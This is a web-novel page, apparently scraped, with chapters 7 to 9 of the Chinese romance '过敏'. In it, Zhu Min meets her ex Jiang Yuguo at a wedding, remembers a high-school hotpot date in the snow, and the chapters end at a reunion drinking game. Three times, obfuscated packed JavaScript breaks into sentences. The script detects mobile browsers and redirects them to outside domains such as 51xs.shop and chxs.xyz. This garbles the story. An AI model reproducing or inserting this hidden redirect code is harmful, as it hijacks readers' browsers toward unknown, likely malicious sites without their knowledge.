《过敏》 7. Allergy007 我们试图用截然不同的选择推翻曾经的自己,那只是从未放下的表现而已。 ——————— 祝敏和林筱琅回到宴会厅,她们原本的那张桌子上已经坐满了人,两个人找到另一张还有空位的桌子坐下。 简思高知道高中同学会来很多人,他给高中同学们留了好几桌,带家属来位置也肯定是充足够坐的。 “祝敏!林筱琅!你们才来啊。”隔壁桌的同学们看到她俩热情地打着招呼,“忙什么呢?” “就还老样子啊。”祝敏拖着椅子朝着老同学的位置稍微靠近了一点,“学委你呢?” 孟宏逾笑了笑:“我也是老样子,还在银行。” 他旁边的同学立刻反驳:“听他谦虚!现在都是孟行长了还老样子呢。” 几个人客套寒暄着,肉眼可见,他们理科火箭班的同学们毕业多年混的都不错,跨国贸易的、航运的、金融的,还有医生、进高校当教授的、以及进入国企和政府部门的,各个行业领域都有涉足,就那几个自嘲工作混的不行的,是接受了家里的企业,或者自己创业。 他们高中同学现在不年不节的凑到一起不容易,可大家确实说到做到,基本都来了。 不一会儿的功夫,陆陆续续又来了几个同学,坐在了祝敏这张桌子上。 “下夜班不睡觉困吗?”林筱琅小声问祝敏。 祝敏摇了摇头:“习惯了,我还喝了一杯黑咖啡提神。” 林筱琅还想继续说什么,突然目光定住某处,戛然而止。 祝敏顺着她方向看去,是江聿过。 江聿过在他们高中时就是风云人物,即使不是一个班,即使他们是理科班而江聿过是文科班,但没有人不认识他。 从前是,现在他成了“江总”,只会更是。 江聿过和简思高关系很好,而高中他和祝敏的关系也没有藏着掖着,江聿过在他们理科火箭班简直算得上是“编外人员”,到他们班都可以说“像回到了自己班”,谁也不跟谁客气,和大家也都算熟悉,所以现在来这儿混入他们班的坐席,丝毫不会陌生拘谨。 班里的同学热情的和江聿过打着招呼,小声感叹他们班的男生发福的人不少,怎么江聿过还保持的这么好? 究竟是怎么做到的—— 事业蒸蒸日上,外貌堂堂一表。 江聿过穿着熨帖的深色西装,搭配有威尔士亲王格纹,裁剪得体流畅,领带挺括,显得整个人利落果断,成熟典雅,衬衫上系着的钻石领扣彰显了他的高级品味,在西装的包裹下,隐约看得到流畅的肌肉线条,修长的双腿,挺阔的肩膀,举手投足呼吸间散发着男性荷尔蒙魅力。 饶是祝敏总觉得自己脸盲不看脸,也能看得出,江聿过在一众同龄人里帅的格格不入,自成画风。 他和祝敏的曾经,在场的同学基本都知道,有人“不怀好意”的八卦视线在他们二人之间来回打量,祝敏敏锐的察觉到,浑身不自在。 祝敏忍不住还纳闷儿呢,怎么就江聿过自己,他那个金发小女友呢? 有时候真是想什么来什么,就在这会儿功夫,一个瘦瘦的女生风风火火的进来,直奔江聿过身边抱怨:“我就和新娘新郎多说了一会儿话,你都不肯等我,怎么这么着急来宴会厅?” 方嘉言一路过来,没有察觉到四周投射来的目光。 周围的同学被方嘉言震惊到了,他们看得出来方嘉言和江聿过一举一动之间的熟悉,二人相处绝非一朝一夕。 刚才那些“不怀好意”的目光,现在全都变成了“怜悯”,落在祝敏身上。 祝敏更不自在了,她忍不住在心底抱怨,有些人来婚礼就来婚礼,带什么女友啊!生怕别人不知道他找了个女朋友吗? 她是不是也应该带个男朋友来才不算输啊! 祝敏这样的念头在脑海里闪过仅仅半秒钟,随后她的目光彻底的从江聿过和金发女生的身上转开,故作常态的和林筱琅聊着天,暗地在心里祈祷,婚礼快点开始,新娘快点登场吧,注意力快点从她身上转移吧! 但新娘新郎还没登场,更让祝敏没有想到的事情降临了。 新郎高中同学这边几桌空位就只有她现在在的这桌有,大家都是成年人了,在别人的婚礼上,祝敏即使不想和江聿过同桌坐,也很难说出“你去找别桌的位置坐”这种让人看笑话的话。 方嘉言早就看好只有那桌有两个空位了,心里笑的乐开了花,赶紧跟表哥说:“那还有空位,我们快过去啊。” 方嘉言迫不及待的赶在表哥之前走到有空位的那一桌,刻意坐到了祝敏身边的空位上。 同学们各路八卦的眼光更亮了,忍不住想,江聿过这女朋友是真不知道还是假不知道?看她这么主动坐在那儿,江聿过都冷着眼看她了,小女朋友应该是知道装不知道吧?这难道就是传说中的“挑衅”? 同学们的窃窃私语祝敏假装听不到,她尽量不去看她右手边的方嘉言,只是没想到对方这么热情,刚一落座就说:“我叫方嘉言,姐姐你怎么称呼?” “祝敏。” 出于礼貌,祝敏和方嘉言对视。 这是她今天第一次正儿八经的看她,这也是祝敏刚知道方嘉言长什么模样。 她在车外、在卫生间内,都没有很仔细的看过她。 这一看,祝敏彻底愣住。 方嘉言是一种很港风的长相,有一种由内到外的蓬勃健康感,她的皮肤是介于白皙和健康小麦色之间,有一种立刻可以去本色出演TVB电视剧女一号的感觉。 她画着烟熏妆,全包眼线和浓密睫毛令她的眼睛明亮闪烁,穿着一件黑色的紧身t恤,能看出长期坚持锻炼的痕迹,虽然她是肉眼可见的年轻,但她并没有追求一味的幼态感,精致柔顺的浅金色发色让她充满一种洒脱感。 换言之,是和祝敏截然不同的类型。 祝敏从外表看,皮肤很白皙,白的看不到一丝毛孔,整个人的气质知性温婉,眼眸弯弯,潋滟如水,虽然祝敏身高有166,但外表看并没有尖锐的攻击力,眉毛细而淡,一头乌黑如瀑的秀发垂在肩后,她即使化妆也是淡妆,常穿浅色系极简风的衣服,像玛格丽特里摇曳的冰块,像黎明日出的晨露,温和却又横亘着距离感。 祝敏能看到的,他们这些老同学早就看到了。 在场的人肉眼可见的能看出来,祝敏和方嘉言,除了都是瘦瘦高高的女性之外,没有一丁点相似之处。 祝敏心想,是啊,八年过去了,他换口味了吧。 八年过去了,能被改变的太多太多了。 这种改变或许是主动的,或许是被动的。 祝敏大一的时候特别爱吃学校对街的一家卤煮火烧,每周至少去一次,多的时候能去吃两三次,可吃了几年,也吃腻了,闻到卤煮的味道就想绕路走,到祝敏研一的时候就已经一次也不想吃了。 饱腹之欲尚且如此,何况是情欲。 不知从哪儿飘过一阵风,天花板上方悬挂的装饰飘带飘铃被吹的摇摇晃晃,剪影倒映在墙壁上,铃铛互相碰撞在嘈杂的婚礼现场发出轻盈的声响,直击心脏。 方嘉言也在仔细打量着祝敏,她有心跟祝敏说好多话,可是又不知道该从什么说起,表哥来宴会厅之前就已经用眼神警告过她,让她别乱说。 方嘉言也清楚,现在不是聊天的好时机,就连想加个微信都不知道从哪里找话题。 方嘉言可是澳洲留学party达人,超级e人,还没受过这种委屈呢。 就当方嘉言绞尽脑汁在想一个完美开头时,她的手机响了,宴会厅内太嘈杂,她只好出去接电话。 她出去那一刻,祝敏的右手边的位置空了。 她和江聿过之间的距离,只有一个空位置那么多。 祝敏一想到这里,便极其不自然,可她面上不显。 她刻意的不去看向右边,但呼吸之间,她的鼻腔里似乎被淡淡的冷调檀木香气包围,混杂着醇厚的琥珀,清冷幽长顺着血液蔓延至全身。 没一会儿方嘉言回来了,她没坐下,和江聿过说了几句话之后之后就要离开,离开之前,还和祝敏打了个招呼:“敏敏姐姐,我好喜欢你,可我临时有事,有机会我再跟你聊天呀。” 祝敏温和不失礼貌的笑了笑,她想,她们两人连性格也是截然不同。 祝敏绝大部分时间是慢热的,很少这么主动,为数不多的主动,好像就用在追某人身上了。 回忆不能细想,否则都是令现在的自己尴尬的黑历史。 祝敏深吸一口气,注意力尽量放到这场婚礼上。 好在主持人开始讲话,随着主持人抛砖引玉的前言之后,新娘终于闪亮登场! 这场婚礼和祝敏参加过的绝大多数婚礼流程都差不多,没有格外创新的环节,但是每次参加婚礼,祝敏都会被新郎新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520510|142322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘的氛围感动。 简思高手捧钻戒,哽咽着对一袭华美婚纱的新娘表白,说了很多之后,他说:“晚晚老婆,嫁给我吧!” 新娘泪眼汪汪的说:“我愿意!” 两位新人虔诚的交换结婚戒指,随后开始双方长辈的讲话。 祝敏从读研究生开始就开始参加不同阶段的同学们的婚礼,每次都会感动流泪,这次也不例外,她想用手指蹭蹭眼尾的泪水,可还是觉得纸巾比较方便,纸巾在她一伸手就能拿到的位置,她想拿纸巾的那一瞬,桌子旁边恰好有服务人员来上菜,转盘被服务员转了一下,纸巾偏向她右侧的方向转去。 祝敏想要拿,就要将右手伸出去,她在伸手的那一瞬,随着手臂的摆动,她避无可避的向江聿过的方向看去。 她红着眼尾,泪痕尚存,和他对视,撞入他平静无澜的眼眸里,迅速避开。 江聿过神色如常的将这一幕敛入眸中,谁也不知晓,他凌厉冷漠的心脏,骤然紧缩,酸涩蔓延全身。 明明不是为他红了眼眶,可他仍然心痛难捱。 菜上齐了,宴席上有一道菜是白灼大虾。 祝敏很喜欢吃虾,但她不喜欢剥虾,每次剥虾的时候总是慢吞吞的。 而且她吃虾的时候有个习惯,她要留着虾头,只剥掉虾壳,然后手握着虾头再咬掉整个虾肉。 但是因为小时候祝敏不吃虾头,还被穆传红严厉的拍着桌子批评过浪费,拍桌子的时候,连她手边的米饭碗都被震翻了。 小祝敏吓得一言不发,下一个虾就老老实实的吃虾头,可是她感觉虾头好硬,吞咽的时候嗓子有明显的异物感,她一点也不喜欢吃。 从这之后,她虽然爱吃虾,但即使穆传红不在,她也很少吃虾了,仿佛看到虾,就能想到那顿不愉快的午餐以及穆传红的责骂训斥。 可是这样的祝敏仿佛陷入了另一个怪圈—— 她虾吃的越少,她就越馋虾、更想吃虾。 白灼大虾转到祝敏面前时,祝敏没动筷,倒是借着夹在的动作,向林筱琅的方向偏移了一点。 那股冷调琥珀和淡淡的檀香,缓缓的将她渗入包围,她在淡淡的看不见的檀香琥珀分子中濒临窒息。 林筱琅看出来了祝敏的小动作,压着声音问祝敏:“要不然我们换个位?” 祝敏摇了摇头,冲着林筱琅笑了笑。 宴席上的菜肴很多,祝敏除了白灼大虾没吃,其他的都多少尝了一点。 婚宴的菜分量都很足,那道白灼大虾也不例外,大部分人都夹了可是还剩了不少,祝敏在犹豫,她在给自己做心理建设要不要剥虾。 算起来,她很久没吃虾了,盘子里的虾壳色泽新鲜诱人,虾肉紧实细嫩,每一个厄瓜多尔白虾都巴掌大小都分量很足,无油无盐,烹饪方式对身体很健康。他们这一桌开的是一瓶雷司令,白葡萄酒配大虾再合适不过了。 餐桌转盘缓慢沿着顺时针方向旋转着,什么菜转到祝敏眼前,她就尝一口,她想了想,那道白灼大虾还是算了吧,剥虾壳是一件令她厌恶且麻烦的事。 她拿起酒杯,默默饮了一口酒,就这样她也没再关注那道白灼大虾。 她夹菜的时候半低着眸,很认真的把她夹的花椒焗蟹里的花椒挑到餐盘一旁。 婚礼发言合照的环节已经结束,大家都在默默吃婚宴,吃席这件事往常是很美味的,可祝敏今天胃口不佳。 她在心里默默一粒一粒数着自己用筷子挑出来的花椒。 直到她只有自己餐盘的视线里骤然多了一小碟剥好的虾。 剥虾壳也是一种艺术,要把虾剥的保留原有的虾肉,不能破坏缺失一点,这样才能尽可能的保留原有的最佳鲜嫩美味。 这些被剥掉虾壳的虾,是垂涎欲滴的红白相间,被人不经意的顺着一个方向摆盘,并且按照她的习惯,每一只虾的虾头保留,虾壳被剥的一干二净,虾肉又没有一点破坏。 祝敏心脏一震,不可思议的抬头,看向那唯一的可能—— 江聿过正在用纸巾慢条斯理的擦着手,他的衬衣袖子被慵懒的挽了两圈,蛰伏在他清冷肌肤之下的青筋顺着手背向上不断蔓延,没入袖口,无一不在彰显着他的禁欲感和成熟。 江聿过仿佛接收到祝敏的眼神,深邃的目光不经意又刻意的同她对视,落在她的脸颊上,极具质感的、含着粗粝感的嗓音淡淡响起:“手滑,不吃就倒了。” 8. 過敏008 祝敏和江聿过之间分明只隔了一个空位,可是两人距离不知不觉的近了许多。 祝敏有些诧异,她记得她分明向着林筱琅的方向挪了挪的。 柔和的灯光从天花板落下,白瓷质地的瓷碟上,几颗被剥好的虾在灯光下铺了一层亮,瓷碟的边缘反射着一团光晕,祝敏看着那团光晕,想起了她的高中的一节普通自习课。 在她高二那一年的十二月,江坞下了一场极为罕见的大雪。 碎盐粒似大小的冰雹混杂在袭袭雪花之中,沙沙降落,雪落了一阵子,霾灰布满了天空,长廊的扶手下还有前夜低温下酝酿出的冰棱,可是室内开着瓦数十足的灯,却分外明亮。 祝敏坐在教室靠窗的位置,正在和一道物理题对拉苦战。 祝敏在草稿纸上勾勾画画,心理暗下决心一定要拿下这道题,做题间隙,她往窗外看了一眼,刚才还只是降霰的阴霾,现在已经积雪皑皑白茫茫一片,像是一个纯圣雪白的童话世界。 这样的天气居然只能坐在教室里做物理题?简直是暴殄天物! 祝敏抓了抓头发,但是没办法,自习课刷题是高中生的宿命,她别无选择。 倏然—— 衬着淡淡雾气的玻璃窗上传来极为规律的“嗒嗒”敲击声,祝敏寻声望去,茫茫白雪下,江聿过出现在窗外。 祝敏眼眸一亮,没出声音,用夸张的嘴型问他:“来——做——什——么?” 每一个字之间说的都很慢,她相信江聿过看得懂。 少女穿着水洗过后散发着阳光和洗衣粉混合味道的深色校服外套,扎着高高的马尾,虽然做题很疲惫,但看到窗外来人的那一刻立即元气满满,脸庞白里透着一层淡淡的粉色,江聿过隔着窗户看着嘴形夸张可爱的祝敏,他想捏一捏她的脸颊。 他亦用夸张的口型回应:“去——吃——饭。” 自习课在周六上午的最后一节,是全校统一的。 他们早下课一点是不会被发现的,老师们即使早就知道也都睁一只眼闭一只眼,老师们明白高中的孩子们在高度紧张不容松懈的氛围里,需要一点和老师博弈中取得胜利的快乐作为调剂。 就比如学生们自己给自己早下课十五分钟的自习课。 祝敏看懂了江聿过的口型,环顾了一圈教室,然后悄悄和林筱琅说:“我先去吃饭啦!” 林筱琅早就看到了身边不顾旁人隔窗相望的一对璧人,早已习惯的点了点头,但还是故意说:“小心点,小心被年级主任抓住!” 祝敏听到后不在意的摆了摆手,年级主任才不会周六也在学校呢! 祝敏垫着脚蹑出教室,走出教室后笑容明媚,问江聿过:“走吧!今天去吃什么?二餐的小馄饨不错,一楼的热干面也好吃,一餐的湘菜小炒也好吃,要不然去教师食堂?今天应该没有什么老师去吃的……” 祝敏自顾自的陷入了选择困难症里,都怪食堂的饭太好吃!她根本挑不出来。 江聿过看着陷入纠结的祝敏,她不知道自己这副模样究竟有多可爱,江聿过心里忍不住的想,怎么会有祝敏这么可爱的女生,连头发丝儿都看起来比其他人可爱许多! 江聿过虽然这样想,但面上依旧冷冷的,一副高中生酷酷的模样,眼眸狭长,鼻梁挺拔,“想吃火锅吗?” 雪花簌簌降落,落在袖口,又消失不见,风声呼啸,带着几片雪花刮在脸颊,犹如针扎,寒冷天气,吃点热气腾腾的火锅再合适不过了! 寒风刺骨的天气里,祝敏眯着眼睛,刚才的选择困难症瞬时消失,“太聪明了!我们去吃火锅!” 学校食堂是没有火锅的,要吃火锅的话要去学校外面吃。 祝敏和江聿过都不是住校生,门禁系统识别的出他们的面容,而且周六学校门卫的看管也并不严格,很多学生会偷偷溜走去学校附近的小吃街吃东西。 祝敏和江聿过打车来到了一家很有名的网红店,周末肯定是要排队的,祝敏站在门口:“去取号吧。” 江聿过淡淡的说:“不用,直接进。” 祝敏可是考试年级稳在前二十的,一下子就明白是怎么回事,立刻转头看向他,语气里充满兴奋:“江聿过,你提前预约了对不对!” 江聿过轻笑着挑了挑眉,“聪明。” 他早就猜到今天这么冷,祝敏肯定想吃点热乎的。 但是祝敏在饮食上又有选择困难症,什么都想吃又不知道吃什么,不如自己提前预约好祝敏早就提过的火锅店,如果祝敏想吃,就来;如果她想吃其他的,那自己就不用提已经预约火锅店这件事。 不用花时间等位置当然高兴,祝敏兴致勃勃的点了很多菜,“这个,这个都想吃……” 看到菜单上的基围虾,祝敏有点犹豫。 “怎么了?想吃就点。” 江聿过坐在祝敏身边,他们并没有像普通双人那样坐在桌子的两侧,这是他们俩共同的默契,他们都跟喜欢坐在同一侧。 “想吃,不想剥。” 祝敏笑着说,当时的她并没有把虾对于自己的阴影伤口撕开给江聿过看。 正午的阳光透过窗户落在台面,金灿灿的一片,这么好的天气,她才不要说这些不开心的事情给他听。 “想让我剥虾就直接说。”江聿过无奈的摇了摇头,“点吧,想吃几盘都行。” 祝敏得到意料之中的肯定答复之后非常开心,有些俏皮的眨了眨眼睛:“既然你这么说那我可点十盘了哦?” 明明是想都不用想的玩笑话,江聿过听到后一本正经,仿佛面对的是什么绝世难题,语气十分严肃的问祝敏:“十盘够吗?” “喂!”祝敏伸手去拍江聿过。 点的香浓番茄鸳鸯锅很快端了上来,连同他们点的菜一起。 江聿过很主动的率先把基围虾放到锅里,“感谢祝敏敏同学为我着想,饿着肚子只点了一盘基围虾,我一定不负众望,把虾剥好。” 江聿过知道祝敏的口味,把基围虾按照六比四的比例放到番茄锅和辣锅里。 祝敏听到江聿过还在打趣刚才的“十盘虾”,十分无奈,怎么会有江聿过这么幼稚的男孩子! 虾在沸腾的锅里熟的很快,基围虾泛红之后,江聿过把虾捞了出来,戴上火锅店提供的一次性手套,开始给祝敏剥虾。 “不要把虾头揪下来好不好?” 祝敏看到江聿过剥虾,第一步就是残忍的把虾头掰下来,她连忙制止。 江聿过有些疑惑:“你吃虾头?” “不吃,但是我喜欢拿着虾头吃虾。”祝敏微微低着头,同江聿过解释:“这样很香的呀!不信你试试。” 江聿过抿了抿唇,继续给祝敏剥虾。 在祝敏的指导下,终于剥出了一小碗祝敏爱吃的虾。 虾头完好无损的长在虾仁身上,虾壳被剥的一干二净,只要一口,一只鲜嫩紧实的大虾就可以送入口中。 祝敏小声“哇”了一下,“你也吃呀,不要一份虾都给我剥了。” 祝敏主动把一只虾放到江聿过的蘸料碗中,往常如果祝敏给江聿过夹什么菜,江聿过都会甘之如饴的吃掉,但今天他没有。 祝敏绝对绝对不会觉得江聿过是给她剥虾所以生气了,祝敏问他:“你不吃虾?” 这是祝敏和江聿过第一次吃饭遇到有虾的菜肴。 江聿过点了点头,没否认:“不爱吃。” “你海鲜过敏?”祝敏又立刻否认,“不对啊,上次去吃日料你还是ok的。” 江聿过轻描淡写:“不是过敏,就是不喜欢吃。” 祝敏撅了撅嘴巴,红唇吃过辣锅之后亮晶晶的:“那你既然不喜欢虾的味道,那你主动跟我说啊,这样子就不要两个锅里都放虾了,留一个没有虾味道的火锅锅底多好。” 江聿过的声音低哑,没有高中男生变音之后的刺耳,他的声线可以去当新闻主播,声线悦耳富有磁性:“你爱吃。” 火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13520511|142322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅店内座无虚席,开着空调暖风,每一桌的火锅锅底热气腾腾的冒着蒸汽,室内温度并不低,和靠窗屋外漫天风雪形成鲜明对比。 一寒一暖,一冷一热,祝敏今天意外的发现,她发现了一家基围虾特别特别好吃的火锅店。 吃完火锅,还没有到下午上自习的时间,他们高中要求周六下午三点半放学,但其实有些同学周六中午会迟到一会儿到学校。 祝敏和江聿过也不着急回学校,也没有选择立刻打车,而是随意的走在马路上,走到哪里不想走了再打车回学校。 祝敏今天吃的有十分饱,她把江聿过给她剥的那一碗虾全都吃光了。 她已经很久没有吃虾了。 学校食堂基本不做虾,至于家里嘛,祝穆说他不喜欢吃虾,所以家里出现虾的次数也越来越少。 这样恰好和了祝敏心意,祝敏只要在家里那张熟悉的餐桌上看到虾,就会不受控制的想到坚硬的虾头快要将口腔喉管戳破的不适感。 莹白的雪片犹如鹭鸟羽毛,细细密密的落在树丫上,落在祝敏没有被羽绒外套包裹着的脖颈上。 细小的雪花在触碰到她白皙肌肤的一瞬间化成水滴,悄无声息的向下蔓延,后知后觉的泛起冷意。 祝敏下意识的打了个寒颤,小声呢喃:“又忘记带雨伞了!” 江聿过眯着眼睛睨了她一眼,饶有兴趣的问:“又忘记带伞了?” “是啊!”祝敏拢了拢外套,让裸露在外的皮肤被厚厚的羽绒服包裹起来。 她看了一眼江聿过,穿的和她比起来简直可以说是单薄,祝敏平时还戴着围巾,只不过今天中午她放在了教室里。 可江聿过穿着黑色的及膝羽绒外套,连拉链都不拉,敞开着任由风吹过,任由雪落下。 祝敏看着他这副模样都冷,怎么会有人这么不怕冷? 可祝敏还不想打车回学校,她还想散散步消消食。 祝敏眼睛一转,伸出一只手,把手插到江聿过羽绒服的口袋里,想着这样会暖和一点。 可江聿过的口袋就像藏着两块冰似的,她放进去的一瞬间就立刻把手抽了出来。 算了,还是自己搓搓手哈哈气取暖吧。 祝敏两只手搓了搓,又放在脸颊上,这样手心的温度会高一点。 江聿过面无表情的目睹了祝敏做的这一系列动作,故意说:“怎么?从我口袋里偷东西呢?” 祝敏白了这个嘴巴毒毒的大直男一眼,也是和江聿过相处之后,祝敏才发现,江聿过说话简直平等无差别攻击所有人。 祝敏懒得理他,“是取暖好不好!谁知道大少爷的口袋比这零下五度的天气还要冷,您兜里是揣冰块了吧。” 簌簌雪花纷纷扬扬,阳光恰如其分的在乌云后崭露头角,一缕冬日耀眼的光落在江聿过的身上,映的他眼底目光清澈,下颌线被阳光柔和模糊,少年感扑面而来。 江聿过没有反驳祝敏的打趣。 他的两只手掌猝不及防的覆住祝敏的手掌,宽大的掌心温热顺着祝敏的手背蔓延至全身,在缄默风雪之中,他们的皮肤与皮肤紧紧相贴。 咚、咚、咚—— 好奇怪,心脏在漫长的冬季居然要跳出胸腔。 好奇怪,血液在沸腾,气温忽然变得好温暖。 祝敏分不清楚心跳声是她的抑或是他的,震耳的心跳声快要将她的鼓膜震破。 手背在一瞬间被温热包裹着,江聿过的手掌很大,手指骨节分明,手背皮肤白皙,蛰伏着淡淡的青色血管,禁欲感和力量感蓬勃而生,她害羞的将目光从完全被江聿过包裹的手掌上挪开,眼神四处飘忽不定,漫天风雪,诺大的城市,她竟然不知道该看向哪里才好。 这条小巷空旷,没有车辆驶过,没有行人路过,地面只有他们俩一路踩出来的脚印,整座城市仿佛只有他们两人生长在这罗曼蒂克的雪白世界里。 江聿过低哑的嗓音在祝敏耳边响起:“这样才叫取暖。” 9. Allergy009 祝敏有时候痛恨自己的好记忆力,一碟虾就能勾起她这么多的回忆。 觥筹交错间,新娘和新郎敬酒来到了他们这一桌,祝敏思绪收回,现在是炎炎夏日,哪里需要什么不合时宜的“取暖”? “班长,恭喜恭喜啊!” “谢谢各位老同学们不远万里的到来,我敬大家一杯。” “哪里的话!大菩萨结婚说什么我们也得来不是!我敬班长和嫂子一杯!” “哎呦哎呦,可不敢当。” “别谦虚啦班长,这么多年我们可都记着呢!这杯我干了!” “……” “恭喜你啊,得偿所愿。” 江聿过也和简思高碰了个杯。 “多谢兄弟。”简思高隐晦的向江聿过的方向看了一眼,随后问他:“一会儿还有二场,都是老同学聚一聚,都认识,你没事一起来吧。” 江聿过知道他说的老同学是高中同学,他冷着脸说:“没空。” 简思高继续冲他挑了挑眉。 班长和新娘没有在同学桌待太久,他们很快又去和两边的长辈们敬酒,恢复短暂的平静后,大家又开始一边吃一边聊天,高考那十五分的题自然是他们不会缺少的话题。 其实他们火箭班的成绩都不差,很多同学即使没有那道物理题的分数,仍然能上一个不错的大学。 但人和人的命运就是如此神奇,一道十五分的物理题,让他们拥有了不一样的人生际遇,拥有了另一种可能、另一种心态,拥有了一辈子的友谊和永远不会腻的话题。 祝敏神色自若,偶尔说一两句。 灯光缓缓落下,那碟虾仍然静静的在那里。 她同江聿过之间仍然隔着一个空位。 是和江聿过一起来的女伴的位置。 祝敏不傻,不必刻意的寥寥几眼就能看出方嘉言和江聿过举止之间有多亲密,那熟稔默契的程度能看出来他们关系匪浅。 方嘉言和他站在一起的距离早已超过了普通的社交距离,她可以随意的挽着江聿过的手臂,即使离开宴会厅前也要离江聿过很近的说一声,而且她对自己,很感兴趣。 祝敏早已默认那是江聿过的新女友。 未来是什么样的? 祝敏设想过不止一次。 高中的时候设想高考后进入大学的未来,进入大学后设想毕业后工作的未来,而现在,所谓的未来真正到来了,她竟然如此失望。 在她的设想里,江聿过不论进入什么领域都会成为顶顶优秀的掌舵人,他在文科方面的造诣很高,高中的时候送给她的情书都能翻出花儿的写,如果他进入文学领域,一定是文学界一颗冉冉升起的新星。 但如果他没有钻研学术继续深造,而是选择接管家族企业亦或是自己创业,凭他的能力,做大做强、再创新高那一定是情理之中。 在祝敏的想象里,对于他的感情状况,好像很难想出一个确切的答案。 也许他会和志同道合的女生一起,经营一段感情,也许会和世家的小女儿一起商业联姻,当然,也有可能会茕茕孑立、形单影只,独自一人发展事业…… 但这么多设想里,她从未想过江聿过会是一个女朋友换得特别勤、没有空窗期的人,一次都没有。 她坚信他不会接二连三的交女朋友来证明自己的魅力,他的精神世界不需要不停的换女朋友来证明自己并不空虚,他追求的是纯粹的感情。 当然,在祝敏的设想里,江聿过更不会在女朋友前脚刚离开后,后脚就对前任做出一些边界感不清不楚的举动。 这不是他,又或者,这不是祝敏印象里的他。 分手后是她提的,她没道理希望他过得差。 可真的看到他变成这副模样,祝敏的心没有半点痛快,只有痛苦和悲哀。 八年,他变得面目全非。 祝敏心里微微叹气,叹这世俗之下的面目全非,叹即使他有一副好皮囊可做出的举动仍然面目可憎。 那碟按照她喜好剥好的虾,她从始至终一筷未动。 *** 婚宴过后,他们这些高中同学自然是要去第二场。 包厢里,他们仍旧玩起了从高中玩到现在的喝酒小游戏“北京欢迎你”。 游戏规则简单,参与性强,只需要每个人唱一句歌词,唱到塌房艺人的歌词时要自罚一杯,唱到外籍艺人的歌词时,要作为客人给主人也就是给下一个人罚酒的人敬半杯酒,要是唱到小女孩的歌词可以免酒一次,因为是未成年人,唱到乐队组合歌词的时候可以只喝半杯,唱到港澳台艺人的时候,要和左右两个人一起干一杯,因为这是坚持一个中国原则…… 游戏罚酒形式很丰富,根据艺人的性格实况来进行相对应的罚酒,并且这些年随着歌曲里艺人们事业的蓬勃发展,游戏规则还在不断更新中,至少他们班从高中到现在都已经创新了好多规则了。 就比如,在高中时,他们说唱到某男艺人时是没有任何惩罚的,但大学后再玩他们唱到这位男艺人时就可以指定一个人喝,因为那一年有一个“我不要你觉得我要我觉得”的梗,特别出圈。 “来来来,先抽签谁第一个唱!” 唱歌的顺序就由第一个同学开始,按顺时针方向的顺序开始唱。 “哟!我是第一快把话筒给我,五道口麦霸要展现实力了!” “啧啧!知道你清华留校任教了,不用这么刻意强调哈!” “嘿嘿低调低调,咳咳,‘我家大门常打开,开放怀抱等你’……” “……” 几句过后,麦克风轮到祝敏,祝敏很不巧的需要罚酒。 有同学立刻感慨:“不容易啊!我记得咱们从高中玩到现在,祝敏你不管是以前喝饮料还是喝酒都没喝过几次!快干了这杯!” 祝敏玩游戏很爽快,输得起喝得起:“行,我干了。” 语毕,她仰头喝了杯中的酒。 又唱了一圈,有同学提议,“如今咱们年纪不如从前了,脂肪肝啊三高啊结节啊这些离咱们都不遥远,酒这东西伤身体,不如咱们今年玩一个新玩法,把罚酒换成真心话怎么样!不想说真心话的人再喝酒!” “真心话比喝酒狠!我同意!” 同学们自然是怎么热闹怎么来。 “那真心话自然是真心,大家可别撒谎!” “肯定的,快抽签,看看这次谁第一个来唱!” “……” 欢呼笑闹间,包厢的门被推开了。 光影昏昏绰绰,穿着笔挺西装、宽肩长腿的男人站在门口,一束光落在他棱角分明的侧脸上,他的姿态矜贵,冷淡的站在那给人一种拒人千里之外的清冷疏离感,仿佛周遭的喧闹与他无关。 祝敏在门被推开的第一时间向他的方向看了一眼,连对视都没有,紧接着迅速低着头看着手里的酒杯。 靠近门口的同学很快注意到他,“哟!江同学来了!我们正好玩着呢,一起玩啊!” 简思高也冲江聿过招招手,等江聿过落座,简思高给他递了一杯酒,戏谑着说:“啧,这就是某人说的没空?” 江聿过骨节修长的手指握着水晶酒杯,冷冷的睨了他一眼。 “我懂我懂。”简思高说,“看我结婚这么幸福有些单身狗眼馋了吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13520512|142322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >价格并不昂贵的水晶酒杯在江聿过修长有力的手之中瞬间变得仿佛应该出现在苏富比拍卖会上,江聿过淡淡的说:“婚姻是爱情的坟墓,我可不像你,迫不及待的去找死。” 简思高耸了耸肩,拿着酒杯主动和江聿过碰了一下,“得嘞,我可不打击你了,玩游戏吧。” 